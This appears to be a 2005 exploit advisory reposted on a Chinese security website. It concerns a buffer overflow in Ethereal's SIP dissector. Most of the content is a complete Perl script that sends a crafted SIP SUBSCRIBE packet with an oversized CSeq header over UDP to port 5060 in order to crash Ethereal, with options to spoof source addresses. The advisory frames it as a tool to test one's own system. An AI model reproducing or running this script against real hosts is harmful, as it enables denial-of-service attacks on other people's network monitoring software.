首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Ethereal SIP Dissector Overflow (Exploit)
来源:storm@beyondsecurity.com 作者:beSTORM 发布时间:2005-05-10  

Ethereal SIP Dissector Overflow (Exploit)


Summary
As we reported in our previous article: Ethereal SIP Dissector Overflow, a vulnerability in Ethereal's SIP dissector allows attackers to cause Ethereal to crash by overflowing an internal buffer used by Ethereal when it tries to handle SIP related packets. The following exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by beSTORM.

Details
Exploit:
#!/usr/bin/perl -w
# Exploit generated by beSTORM on 2005-05-08 17:49
# All Rights Reserved - Copyright (tm)

use IO::Socket;
use strict;

my $target = shift;
my $print_usage = 0;
my $repeated_type = "A";

if (!$target)
{
usage();

print "No target has been supplied, reverting to 192.168.1.52.\n";
$target = "192.168.1.52";
}

my $repeating = shift;
if (!$repeating )
{
usage();

$repeating = 1000;
print "Repeating has not been supplied, reverting to $repeating.\n";
}

my $attackerip = shift;
if (!$attackerip)
{
usage();

print "Attacker IP address has not been supplied, reverting to 192.168.1.49.\n";
$attackerip = "192.168.1.49";
}

my $attackedip = shift;
if (!$attackedip)
{
usage();

print "Contact IP address has not been supplied, reverting to 192.168.1.3.\n";
$attackedip = "192.168.1.3";
}

print "Will attack $target.\n";
print "Attacker IP address defined as: $attackerip\n";
print "Attacked IP address defined as: $attackedip\n";
print "Will repeat '$repeated_type' $repeating times\n";

my $repeated_data = ($repeated_type x $repeating);
my $target_port = 5060;

my $packet =<<END;
SUBSCRIBE sip:username:password\@$attackerip SIP/2.0\r
To: <sip:$attackedip:$target_port>\r
Via: SIP/2.0/UDP $attackedip:3277\r
From: "STORM"<sip:$attackedip:3277>\r
Call-ID: 3121$attackedip\r
CSeq: $repeated_data\r
Max-Forwards: 70\r
Contact: <sip:$attackerip:5059>\r
\r
END

print "Sending: [$packet]\n";

socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));

my $ipaddr = inet_aton($target);
my $sendto = sockaddr_in($target_port,$ipaddr);

send(PING, $packet, 0, $sendto) == length($packet) or die "cannot send to $target : $target_port : $!\n";

print "Done.\n";

sub usage
{
if ($print_usage) { return; }
$print_usage = 1;
print ("#"x50);
print "\n";
print "# $0 [hostname] [repeater] [attackerip] [attackedip]\n";
print "# hostname\t-\tThe host the packet will be sent to.\n";
print "# repeater\t-\tThe number of times the character will be sent (repeated character $repeated_type).\n";
print "# attackerip\t-\tThe IP address from which the packet should be\n";
print "\t\t\taddressed from (doesn't have to be your IP address).\n";
print "# attackedip\t-\tThe IP address that you are contacting\n";
print "\t\t\t(doesn't have to be the hostname IP's address).\n";
print "\n";
print "Results may vary depending on how the remote host handles packets.\n";
print "For example:\n";
print " * Some SIP Proxies won't look into packets addressed to it (attackedip or attackerip).\n";
print " * Some SIP Routers won't handle packets that aren't addressed to it.\n";
print "etc\n";
print "\n";
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·NetWin DMail Format String (xt
·Fusion SBX Password Bypass and
·Mozilla Firefox 1.0.3 Remote A
·Ethereal DistCC Buffer Overflo
·Ethereal <= 0.10.10 SMB Dis
·Mozilla Firefox Arbitrary Code
·4D WebStar Tomcat Plugin Remot
·Hosting Controller Unauthentic
·I-Mall Commerce i-mall.cgi Rem
·MySQL MaxDB Webtool GET Comman
·dSMTP SMTP Mail Server 3.1b Re
·Microsoft Message Queuing Remo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved